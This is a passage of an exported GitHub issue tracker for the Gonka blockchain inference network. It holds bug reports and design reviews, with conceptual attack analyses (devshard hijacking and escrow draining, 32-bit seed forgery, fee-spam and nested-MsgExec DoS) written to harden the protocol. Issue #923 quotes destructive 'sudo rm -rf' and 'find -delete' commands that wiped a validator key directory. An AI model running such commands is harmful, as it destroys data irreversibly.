"}, {"location": "community/issues/00908-bls-blsmanager-stores-contextbackground-dkg-grpc-calls-have-/", "title": "#908 — bls: BlsManager stores context.Background() — DKG gRPC calls have no cancellation or timeout", "text": "bls: BlsManager stores context.Background() — DKG gRPC calls have no cancellation or timeout #908 Closed @Mayveskii opened 2026-03-17 23:21 UTC 1 comment Updated 2026-04-28 18:11 UTC"}, {"location": "community/issues/00908-bls-blsmanager-stores-contextbackground-dkg-grpc-calls-have-/#summary", "title": "Summary", "text": "NewBlsManager stores context.Background() as a struct field bm.ctx. This means two gRPC calls in the DKG dealer path run without any timeout and cannot be cancelled on node shutdown.
decentralized-api/internal/bls/manager.go:133
func NewBlsManager(recorder cosmosclient.InferenceCosmosClient) *BlsManager {\n return &BlsManager{\n ctx: context.Background(), // Use background context for chain queries\n ...\n }\n}\ndecentralized-api/internal/bls/dealer.go:392,404 — no timeout wrapper:
// No WithTimeout — hangs indefinitely if chain RPC is slow/unavailable\ngrantees, err := queryClient.GranteesByMessageType(bm.ctx, ...)\nparticipant, err := queryClient.InferenceParticipant(bm.ctx, ...)\nContrast with manager.go:165 which correctly adds a 60s timeout:
ctx, cancel := context.WithTimeout(bm.ctx, 60*time.Second)\ndefer cancel()\nDKG epoch block: If the chain RPC node is slow or unreachable during EventKeyGenerationInitiated, the worker goroutine inside event_listener blocks indefinitely on GranteesByMessageType or InferenceParticipant. This causes the node to miss the entire DKG window and drop out of consensus for that epoch.
No graceful shutdown: On SIGINT, main.go cancels the root ctx via defer cancel(), which propagates to listener.Start(ctx). However bm.ctx = context.Background() is independent — in-flight BLS gRPC calls are never interrupted, delaying process exit.
No Stop/Close on BlsManager: There is no shutdown method to cancel pending operations.
The context is stored at construction time as Background() instead of being passed from the caller. main.go already has a properly-scoped ctx with cancel:
// main.go:145\nctx, cancel := context.WithCancel(context.Background())\ndefer cancel()\n// ...\nblsManager := bls.NewBlsManager(*recorder) // ctx NOT passed\nlistener := event_listener.NewEventListener(..., cancel, blsManager)\n// manager.go\nfunc NewBlsManager(ctx context.Context, recorder cosmosclient.InferenceCosmosClient) *BlsManager {\n return &BlsManager{\n ctx: ctx, // propagate caller context\n ...\n }\n}\n\n// main.go\nblsManager := bls.NewBlsManager(ctx, *recorder)\nThis ensures: - GranteesByMessageType and InferenceParticipant respect the node lifecycle context - On SIGINT, pending BLS queries are cancelled immediately - Future callers can add per-call timeouts via context.WithTimeout(bm.ctx, ...)
Statically verified via AST analysis of commit history (904 commits). No existing fix found in HEAD. The dealer.go calls at lines 392 and 404 have no timeout wrapper, unlike the correctly-handled call in manager.go:165.
Severity: Medium-High — affects node availability during DKG under degraded RPC conditions.
"}, {"location": "community/issues/00908-bls-blsmanager-stores-contextbackground-dkg-grpc-calls-have-/#comments-1", "title": "💬 Comments (1)", "text": "@x0152 commented 2026-04-28 18:11 UTCfor the same reason as #909
🔄 Auto-synced from Issue #908 every hour.
"}, {"location": "community/issues/00913-p0-make-handling-of-warm-keys-deterministic-research/", "title": "#913 — [P0] Make handling of warm keys deterministic (research)", "text": "[P0] Make handling of warm keys deterministic (research) #913 Closed @dcastro opened 2026-03-18 10:28 UTC 1 comment Updated 2026-07-01 06:17 UTC Priority: High devshardsAt the moment, devshards handle hosts' warm keys in a non deterministic way.
Different hosts can check whether a warm key is authorized at different points in time, using the mainnet bridge, and therefore get different results. One example could be a host H shutting down for 20 mins, and then becoming available again. They'll need to process diffs from 20 mins ago. If some other host has rotated their warm key in the meantime, H will not deem the warm key used to sign the original diff as authorized (even though it was at the time it was signed)
We need to think of a solution to make this deterministic, and implement it.
"}, {"location": "community/issues/00913-p0-make-handling-of-warm-keys-deterministic-research/#comments-1", "title": "💬 Comments (1)", "text": "@KKizilov commented 2026-03-26 15:20 UTCWill be finished by March 27th.
🔄 Auto-synced from Issue #913 every hour.
"}, {"location": "community/issues/00914-p0-devshards-rewards-research/", "title": "#914 — [P0] `devshards` rewards (research)", "text": "[P0] `devshards` rewards (research) #914 Closed @dcastro opened 2026-03-18 10:43 UTC 3 comments Updated 2026-04-02 12:31 UTC Priority: High devshards"}, {"location": "community/issues/00914-p0-devshards-rewards-research/#tasks", "title": "Tasks", "text": "devshards should be for different devshard sizesdevshardsWorkCoins at the end of the epoch, instead of upon settlement.devshard stats into account when calculating punishments WorkCoins/RewardCoinsdevshards - rewards and attack vectorsdevshards - security analysisdevshards - security analysis (Part 2: rewards)There are 2 kinds of rewards for inferences done on-chain (outside of devshards): * WorkCoins: transferred from the user to hosts. It's a direct payment for work done running inferences. * RewardCoins: mined coins distributed to hosts, proportional to their weight. * These do not increase/decrease with the number of inferences done. * Above a certain threshold of Missed inferences, RewardCoins may be cut to 0. * See: CheckAndPunishForDowntimeForParticipants * Additionally, if Missed inferences or Invalidated inferences are above certain threshold, the protocol will mark the host as ParticipantStatus_INACTIVE or ParticipantStatus_INVALID, and both their WorkCoins and RewardCoins will also be cut to 0. * See status.go: ComputeStatus, getInvalidationStatus, getInvalidationStatus
At the moment: * devshards settlements distribute WorkCoins immediately after settlement * This distribution does not take INACTIVE/INVALID statuses into account * devshards stats don't count towards RewardCoins
We want to treat devshards settlements the same way as onchain inferences. * The devshards's stats (Missed/Invalidated) should count towards setting the host as INACTIVE/INVALID, and thus potentially cutting both their WorkCoins and RewardCoins * WorkCoins should be distributed at the end of the epoch, rather than immediately
When a dishonest host hijacks a devshards, they can: * Manipulate their own SubnetSettlementHostStats.Cost. * They can exploit this to drain the user's escrow, without spending GPU power on running inferences * This profit is currently limited: the protocol checks that Cost cannot exceed the escrow amount. See: VerifySubnetSettlement * Manipulate other host's SubnetSettlementHostStats.Invalid * This damage is not currently limited, SettleSubnetEscrow does not perform any checks on this field. * Manipulate other host's SubnetSettlementHostStats.Missed * This damage is not currently limited, SettleSubnetEscrow does not perform any checks on this field.
They cannot: * Increase their RewardCoins for the epoch: these are tied to the host's weight.
There are two ways a dishonest actor can land in a devshards vulnerable to hijacking: * By pure chance. This chance is higher when the host has higher weight / the devshards is smaller in size. * By \"grinding devshards\". The actor acts as both Host and User, and repeatedly creates/settles devshards, without performing any inferences, until they land in a vulnerable devshards. * Note that, in this scenario, the actor cannot profit from the attack by manipulating SubnetSettlementHostStats.Cost, since they'd only be transferring tokens from their User account to their Host account.
In order for devshards's stats to be safely aggregated with epoch-level stats, we need to: * When a host lands on a vulnerable devshard by chance, limit the damage they can do to other hosts' Missed/Invalidated inference count. * Prevent dishonest actors from grinding devshards to augment damage done to other hosts.
Missed / Invalidated These counters should be capped to their proportional share of the amount of inferences.
E.g. if, given the amount of tokens put into escrow, we infer that at most 500 inferences can be run, then a Host's Missed+Invalidated cannot be greater than (500 inferences / 128 slots * host's slot count).
If we cannot infer how many inferences can be run from a given escrow amount, then: * The user can specify in MsgCreateSubnetEscrow how many inferences they plan on running. They can request inferences until either the escrow amount is depleted or the inference limit is reached, whichever happens first.
devshards fee Having a fee on creation/settlement of devshards would discourage dishonest actors from grinding devshards to damage other hosts.
Notes: * The fee must be paid even if there are no inference requests, to prevent actors from repeatedly creating+closing devshards. * The fee should not scale with the number of requests performed (to encourage users to create devshards with bigger escrow amounts instead of a lot of smaller ones)
A simple approach could be to pay N tokens per Host in the network, paid upon settlement.
Question: how should we quantify this fee? In general, fees need to be greater than the theoretical profit in order to discourage a given behaviour. However, this attack is not profit-driven.
@dcastro commented 2026-03-19 18:14 UTCMeeting Notes 2026/03/19
devshards to be able to exploit one (with 99% confidence)The total cost to create 3k devshards should be 300k GNK
devshards sizeLimiting Missed / Invalidated: For now, let's say each devshards can run up to 2k inferences.
The research part will be in Progress, but doesn't block the implementation.
🔄 Auto-synced from Issue #914 every hour.
"}, {"location": "community/issues/00915-p0-benchmark-devshards/", "title": "#915 — [P0] Benchmark `devshards`", "text": "[P0] Benchmark `devshards` #915 Closed @dcastro opened 2026-03-18 10:49 UTC 2 comments Updated 2026-07-20 06:32 UTC Priority: High devshardsWith the upgrade 0.2.11, we can stress test and benchmark subnets in test environments.
We should write a benchmark harness for this. Gonka has 3 testnets with 10 different accounts that we can use.
"}, {"location": "community/issues/00915-p0-benchmark-devshards/#comments-2", "title": "💬 Comments (2)", "text": "@KKizilov commented 2026-03-26 15:20 UTCThe deadline is April 5th.
@a-kuprin commented 2026-07-20 04:53 UTCClosing by https://github.com/gonka-ai/gonka/pull/1482
🔄 Auto-synced from Issue #915 every hour.
"}, {"location": "community/issues/00922-proposal-agent-identity-and-delegation-governance-for-gonka-/", "title": "#922 — Proposal: Agent identity and delegation governance for Gonka compute", "text": "Proposal: Agent identity and delegation governance for Gonka compute #922 Closed @aeoess opened 2026-03-20 00:42 UTC 1 comment Updated 2026-03-22 19:48 UTCGonka's agent-aware inference gateway handles the compute layer. One gap: when an agent requests inference, there's no cryptographic proof of who authorized that agent or what scope it operates under.
The Agent Passport System (APS) provides this layer:
How this fits Gonka's architecture:
When an agent calls Gonka's inference API, the request could carry a delegation proof showing: 1. Who authorized this agent to use compute 2. What models/capabilities are in scope 3. What spend limit applies 4. A signed receipt for billing attribution
This turns Gonka from \"serve inference to whoever has an API key\" into \"serve inference to cryptographically authorized agents with verifiable spend limits.\" For subnet operators and compute providers, this means granular billing and access control without managing API keys per agent.
Integration surface:
APS ships as an MCP server (61 tools) and npm package (agent-passport-system, 866 tests). The gateway enforcement boundary could sit in front of Gonka's routing layer, checking delegation scope before forwarding to the appropriate model.
We're currently running cross-engine interop tests with three other governance protocols (AIP, Kanoniv, Guardian) — all Ed25519 based, all mutually verifying delegation chains. Gonka could be a compute provider in that ecosystem.
SDK: https://github.com/aeoess/agent-passport-system Paper: https://doi.org/10.5281/zenodo.18749779 Site: https://aeoess.com
"}, {"location": "community/issues/00922-proposal-agent-identity-and-delegation-governance-for-gonka-/#comments-1", "title": "💬 Comments (1)", "text": "@aeoess commented 2026-03-21 17:14 UTC@hermesnousagent — the complementary framing is right. APS handles the machine-verifiable proof chain (was this agent cryptographically authorized, within what scope, at what spend limit), and the operator-visible layer handles what the human actually sees and approves.
The delegation_ref back-pointer pattern you described maps to how APS already links commerce receipts to delegation chains internally. Every CommerceActionReceipt in APS carries the delegation ID that authorized it, so the cryptographic proof and the human-readable record can cross-reference.
On your closing question: the open problem is both. Machine-to-machine billing attribution (which APS closes with signed delegation chains + Merkle attribution) and human-facing spend authorization (which needs a UX layer). APS has request_human_approval in the Commerce layer for the human-facing gap, but it is a protocol primitive, not a chat-native UX. That is where a chat-based approval surface like what you describe adds value — the protocol provides the cryptographic substrate, the chat interface provides the operator experience.
The composition would be: APS delegation chain proves authorization scope, Bit-Chat surfaces the approval request in a human-readable format, the operator approves, and the approval feeds back into APS as a signed receipt that closes the loop for both billing attribution and dispute resolution.
🔄 Auto-synced from Issue #922 every hour.
"}, {"location": "community/issues/00923-consensus-key-mismatch-staking-still-expects-old-key-after-t/", "title": "#923 — Consensus key mismatch: staking still expects old key after TMKMS key loss", "text": "Consensus key mismatch: staking still expects old key after TMKMS key loss #923 Closed @krizis-sila opened 2026-03-20 20:36 UTC 1 comment Updated 2026-04-28 20:53 UTCHello,
I need help with a validator consensus key mismatch on Gonka mainnet.
Participant: gonka1dll7aqkqleqt8s363fx2s3versn3r3c0zt3vj0
Current situation: - staking still expects old consensus key: YMsTg8SKXFYJf5g5sfRsWHE8MPUeg23ImLkoFl6ZZyc= - current TMKMS key is different: 3fbo8+SH2OBHRParBPxU7OAic0+lNNPHNa5emBKEbqc= - validator is jailed / unbonding - inference is still active - submit-new-participant updated the inference-side participant record, but staking still keeps the old key
What happened: - during migration to /ephemeral, the active TMKMS directory was wiped - shell history shows: - sudo rm -rf /ephemeral/gonka-data/tmkms/* - sudo find /ephemeral/gonka-data/tmkms/ -mindepth 1 -delete - after that, TMKMS generated a new consensus key - I do not have a backup of the old TMKMS validator key
What I already confirmed: - current active TMKMS path is /ephemeral/gonka-data/tmkms - current TMKMS secrets: - /ephemeral/gonka-data/tmkms/secrets/priv_validator_key.softsign - /ephemeral/gonka-data/tmkms/secrets/kms-identity.key - staking-side key did not realign automatically - I was advised not to unjail until staking matches the active TMKMS key
Questions: 1. What is the exact recovery path if the old TMKMS consensus key is lost? 2. Is there any manual way to update the staking-side consensus key? 3. Can this be done by me via CLI, or does it require team intervention? 4. Should I keep the validator jailed until the staking-side key is updated?
Related tx: 36826F73D7B2BB31D5D506C4463E53DE632AC072F1B2A50E68A06D3C8BB48205
Thank you.
"}, {"location": "community/issues/00923-consensus-key-mismatch-staking-still-expects-old-key-after-t/#comments-1", "title": "💬 Comments (1)", "text": "@0xgonka commented 2026-04-28 20:53 UTCthis is likely stale by now. We can re-open if there are subsequent reports but looks like it might have been a fluke
🔄 Auto-synced from Issue #923 every hour.
"}, {"location": "community/issues/00924-p0-make-sure-bitfury-community-sale-works-ibc/", "title": "#924 — [P0] Make sure Bitfury community sale works: IBC", "text": "[P0] Make sure Bitfury community sale works: IBC #924 Closed @tcharchian opened 2026-03-20 23:20 UTC 3 comments Updated 2026-04-11 04:34 UTC Priority: High(empty)
"}, {"location": "community/issues/00924-p0-make-sure-bitfury-community-sale-works-ibc/#comments-3", "title": "💬 Comments (3)", "text": "@tcharchian commented 2026-03-20 23:21 UTC@maria-mitina said that Community Sale contract tested with IBC, worked well. @GLiberman @0xgonka do we have other scenarios to try?
@maria-mitina commented 2026-03-25 09:11 UTCit will be great to confirm/decide whether bridge is needed for the Bitfury scenario. If yes, we will work this scenario out and test.
@maria-mitina commented 2026-03-25 17:15 UTC@mtvnastya and I had a discussion about it, and bridge is needed for the Bitfury contract. We need to fix the hardcoded chainId and rebuild the binary. Happy to test after that @GLiberman - any chance you could update us on the bridge fix?
FYI, @tcharchian
🔄 Auto-synced from Issue #924 every hour.
"}, {"location": "community/issues/00925-bridge-normalization-issue/", "title": "#925 — Bridge normalization issue", "text": "Bridge normalization issue #925 Closed @tcharchian opened 2026-03-20 23:28 UTC 0 comments Updated 2026-04-22 22:28 UTC(empty)
🔄 Auto-synced from Issue #925 every hour.
"}, {"location": "community/issues/00926-p1-seed-for-poc-fix/", "title": "#926 — [P1] Seed for POC fix", "text": "[P1] Seed for POC fix #926 Closed @tcharchian opened 2026-03-20 23:33 UTC 1 comment Updated 2026-04-11 04:28 UTC Priority: Medium_seed_from_string computes sha256(seed_string) but discards 224 of the 256 bits:
return int(h[:8], 16) # only 32 bits used\nWith a 32-bit seed space, an attacker running Node A can find a nonce that produces the same seed as Node B's target nonce in ~2^32 SHA256 evaluations. They then run the model once (as Node A) and submit that output as Node A's and B's proof just with different nonces. The validator accepts it.
SHA256 produces 256 bits. Split them into 8 × 32-bit words (s0, s1, ..., s7). Use each word as a murmur3 seed to generate an independent segment of the output:
sha256(block_hash + public_key + nonce) → [s0 | s1 | s2 | s3 | s4 | s5 | s6 | s7]
output = [ murmur(s0, n/8) | murmur(s1, n/8) | ... | murmur(s7, n/8) ]
All 256 bits of SHA256 are consumed. The output is still N(0,1) — same murmur3 → Box-Muller pipeline, just chunked into 8 segments that are concatenated.
The attacker submits one nonce nonce_X. The verifier computes:
sha256(block_hash + key_B + nonce_X) → s0_X, s1_X, ..., s7_X
All 8 sub-seeds are locked to that single hash call. For the forged proof to pass, the attacker needs:
sha256(key_B + nonce_X) == sha256(key_A + nonce_Y) [all 256 bits]
That is a SHA256 collision — 2^128 work by birthday attack. The attacker cannot attack the 8 segments independently because changing nonce_X changes all 8 sub-seeds simultaneously through SHA256.
The \"attack segments one by one\" idea would require submitting 8 different nonces — one per segment — which the protocol does not allow. One nonce → one hash → all 8 seeds determined at once.
On-chain partAdd software_version field to HardwareNode proto message. The broker fetches the version from mlnode at node registration/update time and includes it in the on-chain tx. This makes the running mlnode/vllm version visible on-chain per node for auditing.
Add poc_stronger_rng_enabled bool to PocParams. When enabled via governance vote, switches PoC input vector generation from the legacy single 32-bit murmur3 seed to concatenated murmur3 using the full 256-bit SHA256 output.
🔄 Auto-synced from Issue #926 every hour.
"}, {"location": "community/issues/00927-p1-maintenance-window-for-hosts/", "title": "#927 — [P1] Maintenance window for hosts", "text": "[P1] Maintenance window for hosts #927 Closed @tcharchian opened 2026-03-20 23:39 UTC 3 comments Updated 2026-06-22 01:35 UTC enhancementThe proposal is described here https://github.com/gonka-ai/gonka/blob/22639fe25aada8090d971402e136714fa9c3b0e7/proposals/maintenance-windows/maintenance-windows.md
The preliminary implementation plan is outlined here https://github.com/gonka-ai/gonka/commit/219e975ae1b8a74d895e6a09ab5a26f629efd6f3, but it would be great if you could review it with a critical eye and suggest your own implementation approach based on your experience
"}, {"location": "community/issues/00927-p1-maintenance-window-for-hosts/#comments-3", "title": "💬 Comments (3)Changes We MadeAdditional NotesUpdated Documents", "text": "@Ryanchen911 commented 2026-03-30 08:54 UTCHi @tcharchian ,
Thanks for the proposal! We've reviewed the preliminary implementation plan and noticed some gaps regarding the state transitions. Our feedback is as follows:
D1 — Missing BeginBlocker state machine for reservation lifecycleProposal says: Reservations have four statuses: Scheduled, Active, Completed, Canceled.
Problem: The proposal never describes who transitions reservations between states and when. There is no description of a BeginBlocker (or EndBlocker) that: - Transitions SCHEDULED → ACTIVE when block_height >= start_height - Transitions ACTIVE → COMPLETED when block_height >= start_height + duration_blocks
The task plan also has no task for this state machine.
D2 — Epoch-critical phase conflicts not addressedProposal says: Seven validation rules for MsgScheduleMaintenance. None mention epoch phase timing.
Problem: Two epoch phases are safety-critical and must not overlap with maintenance windows:
PoC commit window [E+0, E+35]: A participant in maintenance during this phase cannot submit their PoC commit, causing them to be silently excluded from the next epoch's activeParticipants. This directly violates Goal 4 (\"Preserve participant participation in epoch structure without removing the participant from epoch groups\").
DKG phase [E+277, E+285]: DKG has no recovery path. A participant missing DKG participation can cause the next epoch to fail to start — a consensus-level fault with no graceful fallback.
The restricted range is only 43 blocks out of a ~15,391 block epoch (~0.3%), so the operational cost is minimal.
Recommendation: Add two scheduling rejection rules: - ErrMaintenanceOverlapsPoCPhase: Reject if window overlaps [E+0, E+35] - ErrMaintenanceOverlapsDKGPhase: Reject if window overlaps [E+277, E+285]
Proposal says: \"Maintenance credit should be stored on the participant record itself as a field measured in blocks. This proposal prefers extending the existing participant record over introducing a separate maintenance-credit table.\"
Divergence: Use an independent MaintenanceCreditPrefix KV bucket, separate from Participant.
Rationale: Participant is the hottest object in the system — it is read and written on every status transition (UpdateParticipantStatus), every inference timeout (handleExpiredInferenceWithContext), and every epoch settlement. Coupling a low-frequency credit field to it means every credit update touches this hot object, and vice versa. An independent bucket decouples the two write paths, reduces write amplification, and allows independent testing. The cost is one additional store lookup per credit operation.
Proposal says: \"The first version should evaluate concurrency only at scheduling time, not at activation time. This choice favors determinism and operator predictability.\"
Divergence: Re-check concurrency caps at activation time in the BeginBlocker.
Rationale: Governance can lower max_concurrent_participants or max_concurrent_power_fraction between scheduling and activation. Without a re-check, windows scheduled under old caps silently violate new parameters. The proposal itself flags this as \"a possible attack surface or policy edge case\" for later review.
However, hard cancellation at activation time creates a different problem: the operator has already arranged physical maintenance (host reboot, kernel upgrade). A last-minute cancellation forces them to either proceed with maintenance and accept penalties, or scramble to abort physical work.
Recommendation: Re-check at activation time, but on failure: emit a warning event and activate anyway, rather than cancel. This provides monitoring visibility for governance without breaking operator predictability. Hard cancellation should only be considered if a stronger safety argument emerges.
D5 — Credit accrual during maintenance epochsProposal says: \"Maintenance does not pause rewards or maintenance-credit earning.\" Listed as Open Issue #2: may create incentives to maximize maintenance usage.
Divergence: A used_this_epoch flag prevents credit accrual in any epoch where a maintenance window was activated.
Rationale: With credit_per_epoch = 500 and max_duration_blocks = 3000, an operator using maximum windows has a net credit loss per use (spend 3000, earn 500, net −2500). However, if credit accrues during maintenance epochs, an operator using small windows can theoretically never deplete their credit — always staying under maintenance coverage. This is exactly the risk the proposal flags in Open Issue #2.
Blocking credit accrual in maintenance epochs closes this path: every maintenance use has a net credit cost, making the system self-balancing without requiring fine-tuning of duration caps. The trade-off is that legitimate operators lose one credit accrual opportunity per maintenance use, but this is arguably a fair cost for the exemption they receive.
@patimen commented 2026-03-30 23:30 UTC Maintenance Windows Proposal - Feedback Response SummaryThanks for the review. We updated the proposal and task plan based on your feedback.
D1: Reservation lifecycle state machineAccepted.
We updated the proposal to make reservation lifecycle transitions explicit and block-driven:
Scheduled -> Active in BeginBlock when block_height == start_heightActive -> Completed in BeginBlock when block_height == start_height + duration_blocksWe also updated the task plan to add explicit lifecycle implementation work and called out that the lookup path must be fast enough for begin-block execution.
We also tightened the proposal to require exact-height BeginBlock transitions and bounded lookup behavior, while moving the concrete storage/index format into the task plan.
Accepted.
We added explicit scheduling rejection rules for windows that overlap:
We also updated the task plan to add explicit implementation work for these scheduling rejections and their corresponding query behavior.
D3: Credit storage layoutAccepted.
We changed the proposal from storing maintenance credit on the participant record to using a dedicated per-participant MaintenanceState, keyed by participant address and separate from the hot participant object.
MaintenanceState now carries both:
This keeps maintenance accounting decoupled from the participant record without splitting it into multiple fragmented per-participant maintenance buckets.
We also added a new rule that a participant may have at most one future scheduled maintenance window at a time.
D4: Activation-time concurrency re-checkAccepted with a clarification.
We updated the proposal to re-check concurrency caps at activation time in BeginBlock, but we are not hard-canceling windows at activation.
If a reservation activates under current params that would now exceed caps:
This preserves operator predictability while making governance drift visible.
D5: Credit accrual during maintenance-used epochsAccepted.
We updated the proposal so that:
This makes every maintenance use have a net credit cost and resolves the original self-replenishing-credit concern.
We also added the following clarifications while incorporating the feedback:
BeginBlock lifecycle and lookup path must use direct keyed Cosmos SDK collections access rather than broad iteration.BeginBlockThe following documents were updated:
proposals/maintenance-windows/maintenance-windows.mdproposals/maintenance-windows/maintenance-windows-todo.mdworks in progress
🔄 Auto-synced from Issue #927 every hour.
"}, {"location": "community/issues/00928-p1-open-questions-block-gas-limits-fees-cost-per-participant/", "title": "#928 — [P1] Open Questions: Block Gas Limits, Fees, Cost per Participant, and System TX Prioritization", "text": "[P1] Open Questions: Block Gas Limits, Fees, Cost per Participant, and System TX Prioritization #928 Closed @tcharchian opened 2026-03-20 23:46 UTC 1 comment Updated 2026-07-07 23:31 UTC Priority: Medium"}, {"location": "community/issues/00928-p1-open-questions-block-gas-limits-fees-cost-per-participant/#summary", "title": "Summary", "text": "FeeParams.min_gas_price) enforced at consensus level via a custom TxFeeChecker, replacing the current nil fee checker that allows zero-fee transactionsNetworkDutyFeeBypassDecorator that exempts protocol-obligation messages (PoC, validations, BLS, weight distributions) from fees, following the existing LiquidityPoolFeeBypassDecorator pattern10ngonka (~$0.00046/tx at current GNK price), making sustained spam attacks cost real money while keeping individual transactions under a centTxFeeChecker (runs in both CheckTx and DeliverTx), not per-validator app.toml which is CheckTx-only and can be bypassed by block proposersMsgExec unpacking to prevent wrapping fee-required messages inside authz executionsThe two-track approach — consensus-level TxFeeChecker + NetworkDutyFeeBypassDecorator modeled on the existing LiquidityPoolFeeBypassDecorator — is the right shape. A few concrete gaps from the current code worth resolving before implementation:
The summary lists \"PoC, validations, BLS, weight distributions\" — this is the right category but not the complete msg list. Inference defines ~45 msg types (tx.pb.go). Concrete classification needed before merge:
Clearly network duty (must bypass): - PoC: MsgSubmitPocBatch, MsgSubmitPocValidation, MsgSubmitPocValidationsV2, MsgPoCV2StoreCommit, MsgSubmitSeed - Validation: MsgValidation, MsgInvalidateInference, MsgRevalidateInference - Weight distribution: MsgMLNodeWeightDistribution - BLS: MsgSubmitDealerPart, MsgSubmitVerificationVector, MsgSubmitGroupKeyValidationSignature, MsgSubmitPartialSignature, MsgRespondDealerComplaints (added in v0.2.13 — see upgrades/v0_2_13/upgrades.go:148) - Hardware diff: MsgSubmitHardwareDiff
Ambiguous (proposal must decide explicitly): - MsgStartInference / MsgFinishInference — emitted by Transfer Agents per inference. At ~83K inferences/day × 2 chain txs × 10ngonka × 200K gas ≈ $80/day TA overhead. Bypass them and TA spam is a free attack surface; charge them and TAs need a per-tx gas reserve change. - MsgClaimRewards — 1 per participant per epoch × 43 epochs/day × N participants. Charging is fine economically (~$0.0005 per claim), but the proposal mentions \"Cost per Participant\" in the title and this is the dominant per-participant cost. - MsgRequestThresholdSignature — who triggers it? If user-driven (request-to-sign), it's user-paid; if protocol (rotation/recovery), it's network duty. - MsgSettleSubnetEscrow — periodic settlement vs user-triggered settle.
A flat enumeration in the proposal (or a typed registry interface alongside LiquidityPoolFeeBypassDecorator) is the only way to make this auditable.
MsgExec unpacking — needs depth limit and authz grant interaction The summary correctly flags recursive unpacking. Two follow-ons:
authz.MsgExec chains are syntactically unbounded. Without a max recursion depth, a malicious tx with MsgExec(MsgExec(MsgExec(...MsgValidation...))) either DoS the fee checker or silently fails to enforce. SDK convention is depth ≤ 5.authz.MsgExec from grantee will deduct fees from granter, but operators have historically funded only the warm (grantee) account. The v0.2.13 backfill in upgrades.go:148 sets up new MsgRespondDealerComplaints grants but doesn't address this funding shift. If MsgExec'd network-duty messages bypass entirely, this is moot. If a fee-required user message gets MsgExec'd through cold→warm authz, the granter is silently debited — worth being explicit about.LiquidityPoolFeeBypassDecorator ante.go:165 sets Priority: 1_000_000 for liquidity pool bypassed txs. If NetworkDutyFeeBypassDecorator doesn't apply at least the same priority, in a peak-load mempool spam-but-fee-paying user txs will displace network-duty txs, which is the opposite of intent.
The proposal should specify priority levels: - Network duty (PoC/validation/BLS): highest (e.g., 10_000_000) - Liquidity pool: existing 1_000_000 - Fee-paying user: priority proportional to gas-price (default SDK behavior) - Zero-fee non-bypass: rejected by TxFeeChecker
TxFeeChecker parity between CheckTx and DeliverTx proposer manipulation The summary correctly notes that app.toml is CheckTx-only. One subtlety to call out:
config.go:61-67 currently relies on per-validator MinGasPrices. ABCI++ allows a block proposer to include any tx in their proposal — DeliverTx then runs the chain's fee logic. A custom TxFeeChecker that reads FeeParams.min_gas_price from chain state correctly closes this. Two implementation notes:
TxFeeChecker MUST read from current block context (ctx.BlockHeight()), not from a cached value, so a governance change to min_gas_price takes effect at the next block, not the next epoch.TxFeeChecker must never return different fee/priority for the same tx between CheckTx and DeliverTx (other than the SDK's standard Priority handling).Today's LiquidityPoolFeeBypassDecorator (ante.go:163) waives min-gas-prices but keeps metering — gas is still consumed against the block limit. NetworkDutyFeeBypassDecorator should do the same, and the proposal should size the block gas limit to absorb worst-case PoC submission volume:
SDK default MaxGas is 10M (or -1 for unlimited). At ~500 participants the per-block PoC budget approaches 1.25M gas — still fine, but worth a sentence in the proposal to confirm the budget and to commit governance to revisiting it as participant count grows.
A GasCap per bypassed-tx (analogous to the existing GasCap: 500000 on liquidity pool, ante.go:215) is also worth specifying for network-duty messages, so an oversized PoC submission can't single-handedly dominate a block.
10 ngonka — sanity check + governance escape hatch Math reproduces the proposal's $0.00046/tx claim: - 1 GNK = 10⁹ ngonka, current price ≈ $0.23/GNK - Default tx: 200K gas × 10 ngonka = 2M ngonka = 0.002 GNK = $0.00046 ✓
One gap: for spam to cost real money, the attacker has to be paying actual GNK. New participants today get genesis_guardian_addresses (params.proto) and BlackListAccounts exclusions, but a fresh adversary-funded account can still pay. With 200K gas × 10 ngonka, a determined attacker spending $46 can burn 100K block-gas budget. The proposal should:
min_gas_price mid-attack — x/group operational voting, given v0.2.12's split between x/gov and x/group (per docs/voting.md).Outline LGTM, but the network-duty msg enumeration (#1) and the authz grant migration (#2) are blockers for safe deployment. Worth landing a follow-on PR with the typed registry of network-duty msg types before the upgrade.
🔄 Auto-synced from Issue #928 every hour.
"}, {"location": "community/issues/00929-inference-validation-optimization/", "title": "#929 — Inference validation optimization", "text": "Inference validation optimization #929 Open @tcharchian opened 2026-03-21 19:22 UTC 1 comment Updated 2026-03-26 09:31 UTC@tamazgadaev, could you please provide a detailed description?
"}, {"location": "community/issues/00929-inference-validation-optimization/#comments-1", "title": "💬 Comments (1)", "text": "@Red-Caesar commented 2026-03-26 09:31 UTCHere I've opened a proposal for this optimization.
🔄 Auto-synced from Issue #929 every hour.
"}, {"location": "community/issues/00931-bridge-safety-issues-lexicographic-block-comparison-silent-a/", "title": "#931 — Bridge safety issues: lexicographic block comparison, silent address validation failure, inconsistent chain ID mapping", "text": "Bridge safety issues: lexicographic block comparison, silent address validation failure, inconsistent chain ID mapping #931 Closed @unameisfine opened 2026-03-23 00:07 UTC 0 comments Updated 2026-03-23 00:23 UTC🔄 Auto-synced from Issue #931 every hour.
"}, {"location": "community/issues/00931-bridge-safety-issues-lexicographic-block-comparison-silent-a/#description", "title": "Description", "text": "Found three safety issues in the bridge module during code audit:
"}, {"location": "community/issues/00931-bridge-safety-issues-lexicographic-block-comparison-silent-a/#1-lexicographic-string-comparison-for-block-numbers-medium", "title": "1. Lexicographic string comparison for block numbers (Medium)", "text": "File: x/inference/keeper/bridge_transaction.go:114
CleanupOldBridgeTransactions compares block numbers as strings:
if tx.BlockNumber < maxBlockNumber {\n\"9\" > \"10\" as strings, so blocks 2-9 would NOT be cleaned up when maxBlockNumber=\"10\"."}, {"location": "community/issues/00931-bridge-safety-issues-lexicographic-block-comparison-silent-a/#2-ethereumaddresstobytes-silently-returns-zero-bytes-on-error-medium-high", "title": "2. ethereumAddressToBytes silently returns zero bytes on error (Medium-High)", "text": "File: x/inference/keeper/bridge_utils.go:26-52
When given an invalid or empty Ethereum address, ethereumAddressToBytes silently returns 20 zero bytes (0x0000...0000) instead of reporting an error. This means BLS signatures could be computed for the zero address, potentially causing funds to be sent to 0x0 on the Ethereum side (effectively burning them).
The function is called in: - prepareBridgeMintSignatureData (recipient address) - prepareBridgeWithdrawalSignatureData (recipient address, token contract address)
Files: msg_server_request_bridge_mint.go:20 vs msg_server_request_bridge_withdrawal.go:20
mintChainIdMapping does not include \"optimism\", while chainIdMapping (withdrawal) does. The comment in mint says \"same as withdrawal\" but they differ. This means users could withdraw to Optimism but not mint back, breaking round-trip bridge operations.
